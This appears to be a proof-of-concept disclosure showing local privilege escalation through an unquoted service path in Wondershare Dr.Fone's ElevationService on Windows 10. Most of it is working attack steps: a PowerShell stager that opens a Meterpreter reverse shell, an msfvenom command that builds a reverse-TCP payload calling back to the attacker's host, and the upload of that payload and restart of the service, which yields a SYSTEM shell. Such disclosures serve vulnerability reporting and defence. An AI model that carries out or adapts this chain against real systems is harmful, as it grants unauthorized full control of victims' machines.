Local Privilege Escalation via Unquoted Service Path

Win10 x64
Drfone (Elevation Service)

I executed a powershell stager on the "victim" machine as a local unprivileged user, in order to establish a reverse connection to the attacking machine
Once the connection is established

```
[*] Sending stage (175174 bytes) to 192.168.10.31
[*] Meterpreter session 1 opened (192.168.10.15:4444 -> 192.168.10.31:51174) at 2020-12-08 18:42:
42 +0100

msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > sessions -l

Active sessions
===============

  Id  Name  Type                   Information                     Connection
  --  ----  ----                   -----------                     ----------
  1         meterpreter x86/windows  MSEDGEWIN10\IEUser @ MSEDGEWIN10  192.168.10.15:4444 -> 192.
168.10.31:51174 (192.168.10.31)
```

I enumerated services and configurations and I found out an unquoted service path

```
ServiceName: ElevationService
Path: C:\Program Files (x86)\Wondershare\drfone\Addins\SocialApps\ElevationService.exe
StartName: LocalSystem
AbuseFunction: Write-ServiceBinary -ServiceName 'ElevationService' -Path <HijackPath>
```

Since the unquoted path is C:\Program Files (x86)\Wondershare\drfone\Addins\SocialApps\ ElevationService.exe

I forged an executable that run a reverse shell toward my attacking machine and named it "program" in order to make it run by the service

I uploaded it to the victim machine and,as the local user, I put it in "c:\"

```
msfvenom  LHOST=192.168.10.15 LPORT=4445 -p windows/meterpreter/reverse_tcp --platform windows  -f exe -o program
```

```
meterpreter > upload program
[*] uploading  : /root/winpayloads/program -> program
[*] Uploaded 72.07 KiB of 72.07 KiB (100.0%): /root/winpayloads/program -> program
[*] uploaded   : /root/winpayloads/program -> program
```

I stopped the service called "ElevationService"

```
PS C:\Windows\system32> get-service ElevationService

Status    Name               DisplayName
------    ----               -----------
Running   ElevationService   Wondershare Driver Install Service ...


PS C:\Windows\system32> stop-service ElevationService
PS C:\Windows\system32>
```

As soon as I started the service

```
Running   ElevationService   Wondershare Driver Install Service ...


PS C:\Windows\system32> stop-service ElevationService
PS C:\Windows\system32>
PS C:\Windows\system32>
PS C:\Windows\system32>
PS C:\Windows\system32>
PS C:\Windows\system32> start-service ElevationService
```

I got another meterpreter shell, this time as NT\AUTHORITY SYSTEM

```
msf6 exploit(multi/handler) >
[*] Sending stage (175174 bytes) to 192.168.10.31
[*] Meterpreter session 4 opened (192.168.10.15:4445 -> 192.168.10.31:51577) at 2020-12-08 19:08:54 +0100

msf6 exploit(multi/handler) > sessions -l

Active sessions
===============

  Id  Name  Type                   Information                            Connection
  --  ----  ----                   -----------                            ----------
  1         meterpreter x86/windows  MSEDGEWIN10\IEUser @ MSEDGEWIN10      192.168.10.15:4444 -> 192.168.10.31:51174
(192.168.10.31)
  4         meterpreter x86/windows  NT AUTHORITY\SYSTEM @ MSEDGEWIN10    192.168.10.15:4445 -> 192.168.10.31:51577
(192.168.10.31)
```